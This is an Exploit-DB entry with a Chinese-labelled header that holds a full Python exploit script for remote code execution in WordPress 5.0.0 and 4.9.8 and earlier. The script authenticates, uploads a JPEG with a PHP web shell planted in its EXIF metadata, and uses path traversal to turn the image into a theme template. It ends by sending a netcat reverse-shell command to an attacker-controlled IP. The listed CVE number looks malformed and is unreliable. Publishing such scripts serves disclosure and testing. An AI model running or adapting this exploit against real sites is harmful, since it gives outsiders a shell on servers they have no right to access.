标题: WordPress 5.0.0 - Image Remote Code Execution EDB-ID: 49512 CVE: 2019-89242 2019-89242 类型: WEBAPPS 平台: PHP 发布日期: 2021-02-01 漏洞利用脚本: # Exploit Title: WordPress 5.0.0 - Image Remote Code Execution
# Date: 2020-02-01
# Exploit Authors: OUSSAMA RAHALI ( aka V0lck3r)
# Discovery Author : RIPSTECH Technology
# Version: WordPress 5.0.0 and <= 4.9.8 .
# References : CVE-2019-89242 | CVE-2019-89242  | https://blog.ripstech.com/2019/wordpress-image-remote-code-execution/

#/usr/bin/env python3

import requests
import re
import sys
from datetime import datetime

banner = """

__        __            _                           ____   ____ _____ 
\ \      / /__  _ __ __| |_ __  _ __ ___  ___ ___  |  _ \ / ___| ____|
 \ \ /\ / / _ \| '__/ _` | '_ \| '__/ _ \/ __/ __| | |_) | |   |  _|  
  \ V  V / (_) | | | (_| | |_) | | |  __/\__ \__ \ |  _ <| |___| |___ 
   \_/\_/ \___/|_|  \__,_| .__/|_|  \___||___/___/ |_| \_\\____|_____|
                         |_|                                        
                            5.0.0 and <= 4.9.8
"""
print(banner)
print("usage :")
print("=======")
usage = 'python3 RCE_wordpress.py http://<IP>:<PORT>/ <Username> <Password> <WordPress_theme>'
print(usage)

url = sys.argv[1]
username = sys.argv[2]
password = sys.argv[3]
wp_theme = sys.argv[4] # wpscan results

lhost = '10.10.10.10' #attacker ip
lport = '4141' #listening port

date = str(datetime.now().strftime('%Y'))+'/'+str(datetime.now().strftime('%m'))+'/'

imagename = 'gd.jpg'
# ======
# Note :
# ======
# It could be any jpg image, BUT there are some modifications first : 
# 1- image name as : "gd.jpg"
# 2- place the image in the same directory as this exploit.
# 3- inject the php payload via exiftool : exiftool gd.jpg -CopyrightNotice="<?=\`\$_GET[0]\`?>"

data = {
 'log':username,
 'pwd':password,
 'wp-submit':'Log In',
 'redirect_to':url+'wp-admin/',
 'testcookie':1
}

r = requests.post(url+'wp-login.php',data=data)

if r.status_code == 200:
 print("[+] Login successful.\n")
else:
 print("[-] Failed to login.")
 exit(0)

cookies = r.cookies

print("[+] Getting Wp Nonce ... ")

res = requests.get(url+'wp-admin/media-new.php',cookies=cookies)
wp_nonce_list = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)

if len(wp_nonce_list) == 0 :
 print("[-] Failed to retrieve the _wpnonce \n")
 exit(0)
else :
 wp_nonce = wp_nonce_list[0]
 print("[+] Wp Nonce retrieved successfully ! _wpnonce : " + wp_nonce+"\n")

print("[+] Uploading the image ... ")

data = {
 'name': 'gd.jpg',
 'action': 'upload-attachment',
 '_wpnonce': wp_nonce
}

image = {'async-upload': (imagename, open(imagename, 'rb'))}
r_upload = requests.post(url+'wp-admin/async-upload.php', data=data, files=image, cookies=cookies)
if r_upload.status_code == 200:
 image_id = re.findall(r'{"id":(\d+),',r_upload.text)[0]
 _wp_nonce=re.findall(r'"update":"(\w+)"',r_upload.text)[0]
 print('[+] Image uploaded successfully ! Image ID :'+ image_id+"\n")
else : 
 print("[-] Failed to receive a response for uploaded image ! try again . \n")
 exit(0)

print("[+] Changing the path ... ")


data = {
 '_wpnonce':_wp_nonce,
 'action':'editpost',
 'post_ID':image_id,
 'meta_input[_wp_attached_file]':date+imagename+'?/../../../../themes/'+wp_theme+'/rahali'
}

res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
 print("[+] Path has been changed successfully. \n")
else :
 print("[-] Failed to change the path ! Make sure the theme is correcte .\n")
 exit(0)

print("[+] Getting Ajax nonce ... ")

data = {
 'action':'query-attachments',
 'post_id':0,
 'query[item]':43,
 'query[orderby]':'date',
 'query[order]':'DESC',
 'query[posts_per_page]':40,
 'query[paged]':1
}

res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
ajax_nonce_list=re.findall(r',"edit":"(\w+)"',res.text)

if res.status_code == 200 and len(ajax_nonce_list) != 0 :
 ajax_nonce = ajax_nonce_list[0]
 print('[+] Ajax Nonce retrieved successfully ! ajax_nonce : '+ ajax_nonce+'\n')
else :
 print("[-] Failed to retrieve ajax_nonce.\n")
 exit(0)


print("[+] Cropping the uploaded image ... ")

data = {
 'action':'crop-image',
 '_ajax_nonce':ajax_nonce,
 'id':image_id,
 'cropDetails[x1]':0,
 'cropDetails[y1]':0,
 'cropDetails[width]':200,
 'cropDetails[height]':100,
 'cropDetails[dst_width]':200,
 'cropDetails[dst_height]':100
}

res = requests.post(url+'wp-admin/admin-ajax.php',data=data, cookies=cookies)
if res.status_code == 200:
 print("[+] Done . \n")
else :
 print("[-] Erorr ! Try again \n")
 exit(0)

print("[+] Creating a new post to include the image... ")

res = requests.post(url+'wp-admin/post-new.php', cookies=cookies)
if res.status_code == 200:
 _wpnonce = re.findall(r'name="_wpnonce" value="(\w+)"',res.text)[0]
 post_id = re.findall(r'"post":{"id":(\w+),',res.text)[0]
 print("[+] Post created successfully . \n")
else :
 print("[-] Erorr ! Try again \n")
 exit(0)

data={
 '_wpnonce':_wpnonce,
 'action':'editpost',
 'post_ID':post_id,
 'post_title':'RCE poc by v0lck3r',
 'post_name':'RCE poc by v0lck3r',
 'meta_input[_wp_page_template]':'cropped-rahali.jpg'
}
res = requests.post(url+'wp-admin/post.php',data=data, cookies=cookies)
if res.status_code == 200:
 print("[+] POC is ready at : "+url+'?p='+post_id+'&0=id\n')
 print("[+] Executing payload !")
 requests.get(f"{url}?p={post_id}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{lhost}%20{lport}%20%3E%2Ftmp%2Ff",cookies=cookies)

else :
 print("[-] Erorr ! Try again (maybe change the payload) \n")
 exit(0) URL: https://www.exploit-db.com/exploits/49512